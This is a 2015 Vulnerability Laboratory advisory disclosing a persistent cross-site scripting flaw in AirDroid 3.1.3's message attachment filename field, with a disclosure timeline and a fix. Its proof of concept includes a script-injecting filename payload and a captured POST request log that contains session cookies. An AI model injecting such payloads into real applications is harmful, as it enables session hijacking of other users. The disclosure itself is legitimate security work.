Document Title:
===============
Airdroid iOS, Android & Win 3.1.3 - Persistent Vulnerability


Date:
=====
2015-07-20


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1543


VL-ID:
=====
1543


Common Vulnerability Scoring System:
====================================
3.9


Introduction:
=============
AirDroid allows you to access wirelessly and for free on your Android phone or tablet from Windows, Mac or the Internet, and to control it.

(Copy of the Product Homepage: https://www.airdroid.com/de/ )


Abstract:
=========
The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official SandStudio AirDroid (windows, ios and android) mobile web-application.


Report-Timeline:
================
2015-07-05: Researcher Notification & Coordination (Hadji Samir)
2015-07-06: Vendor Notification (Security Team)
2015-07-20: Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Sand Studio
Product: AirDroid iOS Application (Andoird, Windows, MacOS & Web) v3.1.3


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A persistent input validation web vulnerability has been discovered  in the official SandStudio AirDroid (windows, ios and android) mobile web-application.
The vulnerability allows remote attacker or low privilege user accounts to inject malicious codes on the application-side of the affected mobile web-application.

The vulnerability is located in the send messages and the send message with an attached file  module. Remote attackers with low privilege user account are able to upload file name 
with malicious strings like ``><script>alert(1).txt. On the arrival inbox occurs the execution of the malicious code that compromises the other target system/device user account.
The vulnerability is located on the application-side and the request method to inject is POST.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the application-side web vulnerability requires a low privilege web-application user account and low user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Request Method(s):
						[+] POST

Vulnerable Module(s):
						[+] Send Message

Vulnerable Parameter(s):
						[+] filename

Affected Module(s):
						[+] Message Inbox


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction (click).
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:
<span class="name">"><"><script>alert(document.cookie).txt< span="">[PERSISTENT INJECTED SCRIPT CODE]
    <span class="progress-rate">100%</span>
    <a class="attach-del-icon"></a>
</scrip...txt<></span>


--- PoC Session Logs [POST] ---
11:13:00.993[0ms][total 0ms] Status: pending[]
POST https://upload.airdroid.com/sms/attachment/?fn=%22%3E%3Cscript%3Ealert(document.cookie).txt&d=&after=0&rtype=0&origin=http%3A%2F%2Fweb.airdroid.com&country=DZ&fname=%22%3E%3Cscript%3Ealert(document.cookie).txt 
Load Flags[LOAD_BYPASS_CACHE  ] Content Size[unknown] Mime Type[unknown]
   Request Headers:
      Host[upload.airdroid.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/octet-stream]
      Referer[http://web.airdroid.com/]
      Content-Length[5281]
      Origin[http://web.airdroid.com]
      Cookie[_SESSION=0b484eb230f27c004a7e990bace6175a416b58ed-%00_TS%3A1438769709%00; _ga=GA1.2.1046706455.1436177514; _gat=1; account_sid=c51d21b583ce76c04c8d4fa5a5c7496e; account_info=aW5mby5kaW1hbmV0QGdtYWlsLmNvbQ%3D%3D%2C63b971b729a756a3c1eb0fec6cccb736%2C9731220%2C59fd7af875fa5434a86e5397c79380d2]
   Post Data:
      POST_DATA[-PNG
	  
Note: We demonstrated the poc by usage of the web-app but the local app is also vulnerable to the same issue!


Solution:
=========
The vulnerbaility can be patched by a secure parse and encode of the vulnerable filename value in the send message module with the attach file function.


Risk:
=====
The security risk of the application-side input validation web vulnerability in the airdroid app is estimated as medium. (CVSS 3.9)


Credits:
========
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]


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===========
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